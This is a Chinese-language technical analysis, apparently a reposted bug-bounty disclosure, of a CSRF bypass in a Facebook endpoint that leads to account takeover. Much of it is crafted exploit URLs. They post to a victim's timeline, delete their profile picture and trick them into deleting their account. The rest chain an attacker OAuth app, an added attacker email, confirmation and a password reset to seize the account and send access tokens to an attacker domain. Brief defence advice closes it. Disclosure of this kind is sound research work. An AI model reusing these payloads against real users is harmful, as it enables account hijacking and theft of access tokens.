绕过Facebook CSRF保护——导致帐户接管。
字数 1097 2025-08-27 12:33:48
Facebook CSRF漏洞导致账户接管技术分析
漏洞概述
本漏洞利用Facebook的一个易受攻击端点绕过CSRF保护机制,通过精心构造的恶意链接实现受害者账户的完全接管。攻击者需要诱骗受害者点击特定链接,即可在受害者不知情的情况下执行多种账户操作,包括添加新邮箱/电话号码、删除账户信息,最终实现账户接管。
核心漏洞点
易受攻击端点:
https://www.facebook.com/comet/dialog_DONOTUSE/?url=XXXX
其中XXXX是攻击者指定的任意Facebook端点及参数,系统会自动添加CSRF令牌(fb_dtsg)并发出POST请求。
攻击能力展示
通过此漏洞可执行的操作示例:
- 在时间线上发布内容:
https://www.facebook.com/comet/dialog_DONOTUSE/?url=/api/graphql/%3fdoc_id=1740513229408093%26variables={"input":{"actor_id":{TARGET_ID},"client_mutation_id":"1","source":"WWW","audience":{"web_privacyx":"REDECATED"},"message":{"text":"TEXT","ranges":[]}}}
- 删除个人资料图片:
https://www.facebook.com/comet/dialog_DONOTUSE/?url=/profile/picture/remove_picture/%3fdelete_from_album=1%26profile_id={TARGET_ID}
- 欺骗用户删除账户(通过修改语言参数):
https://www.facebook.com/comet/dialog_DONOTUSE/?url=/help/delete_account/dialog/%3f__asyncDialog=0%26locale=fr_FR
账户接管技术细节
攻击流程概述
- 授权攻击者应用获取访问令牌
- 添加新的联系信息(邮箱/电话)
- 获取并确认验证码
- 通过重置密码接管账户
详细攻击步骤
第一步:获取访问令牌
构造URL诱使用户授权攻击者应用:
https://www.facebook.com/comet/dialog_DONOTUSE/?url=/ajax/appcenter/redirect_to_app%3fapp_id={ATTACKER_APP}%26ref=appcenter_top_grossing%26redirect_uri=https%3a//www.facebook.com/v3.2/dialog/oauth%3fresponse_type%3dtoken%26client_id%3d{ATTACKER_APP}%26redirect_uri%3d{DOUBLE_URL_ENCODED_LINK}%26scope%3d&preview=0&fbs=125&sentence_id&gift_game=0&scopes[0]=email&gdpv4_source=dialog
关键点:
- 使用
/v3.2/dialog/oauth绕过Facebook的重定向保护 - 获取的访问令牌用于识别特定受害者
- 应用已预先授权,无需用户额外交互
第二步:添加新联系信息
攻击者网站接收令牌后,构造添加联系信息的请求:
https://www.facebook.com/comet/dialog_DONOTUSE/?url=/add_contactpoint/dialog/submit/%3fcontactpoint={EMAIL_CHOSEN}%26next=/v3.2/dialog/oauth%253fresponse_type%253dtoken%2526client_id%253d{ATTACKER_APP}%2526redirect_uri%253d{DOUBLE_URL_ENCODED_LINK}
功能说明:
- 使用
/add_contactpoint/dialog/submit/端点将邮箱关联到用户账户(无需密码确认) - 操作完成后重定向到"next"参数指定的OAuth端点
- 再次重定向回攻击者域名,携带新的access_token
第三步:确认联系信息
攻击者网站:
- 提取用户ID
- 搜索收到的确认邮件
- 重定向用户到确认链接:
https://www.facebook.com/confirmcontact.php?c={CODE}&z=0&gfid={HASH}
替代方案:使用/confirm_code/dialog/submit/端点完成确认,利用其"next"参数将用户重定向到主页。
第四步:重置密码
完成邮箱添加和确认后,攻击者可通过标准密码重置流程完全接管账户。
技术要点总结
- CSRF绕过:利用
comet/dialog_DONOTUSE端点自动添加CSRF令牌 - OAuth滥用:利用预先授权的应用获取访问令牌
- 重定向链:精心构造的重定向链绕过Facebook的安全检查
- 自动化流程:整个攻击可在用户无感知的情况下快速完成
防御建议
- Facebook应修复
comet/dialog_DONOTUSE端点的CSRF保护缺陷 - 用户应避免点击不明来源的Facebook链接
- 启用双因素认证可增加攻击难度
- 定期检查账户关联的邮箱和电话号码
此漏洞展示了即使像Facebook这样拥有强大安全团队的平台,也可能存在复杂的安全隐患,强调了持续安全审计的重要性。